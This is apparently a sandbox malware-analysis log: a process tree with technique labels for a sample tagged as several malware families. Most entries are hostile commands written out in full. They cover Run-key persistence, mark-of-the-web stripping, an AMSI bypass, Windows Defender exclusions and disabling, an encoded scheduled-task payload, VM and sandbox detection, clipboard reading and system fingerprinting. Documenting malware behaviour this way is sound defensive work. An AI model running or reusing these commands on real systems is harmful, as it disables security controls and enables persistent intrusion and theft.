  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:2412
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:2456
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:1088
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:3976
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1400
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-04_fc83b7475b109fd821602b8242e16785_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier"
    3⤵
    PID:4112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1248
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5108
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:4140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2796
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3588
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4444
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"
  2⤵
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  PID:704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:3668
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4340
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe"
    3⤵
    - Views/modifies file attributes
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5052
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier"
    3⤵
    PID:1076

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1408

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:3972
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  PID:4536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4288
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  PID:980
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    PID:3244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  PID:4404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  PID:1700
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  PID:4768
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:3624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  PID:4656
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  PID:3748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:1468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  PID:396
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:4832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  PID:1012
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  PID:4188
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:3156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:4652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  PID:4996
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1032
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  PID:4660
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:2056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  PID:2060
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  PID:2436
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  PID:1044
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:2364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:2372
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  PID:2012
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  PID:4580
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  PID:1120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  PID:4364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  PID:3008
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:1364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  PID:4620
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:3376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  PID:4420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  PID:2364
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:4368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  PID:4088
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  PID:3624
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  PID:644
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:840
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:4456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2532
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780548637663.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780548637663.cs
  2⤵
  PID:5088
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B67.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSC9AC4E65FC62D42B1B1C5AFB8B3A7A014.TMP"
    3⤵
    PID:3680
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
  C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe C:\snapshot\12vt\panel\server\build_temp\build_1780298632838_0u03wc\index.js
  2⤵
  PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:4856
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:1720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      PID:3844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1116
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:2792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:4508
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:5020
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1732
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:876
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:2340
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:3252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3548
- - C:\Windows\system32\cmd.exe
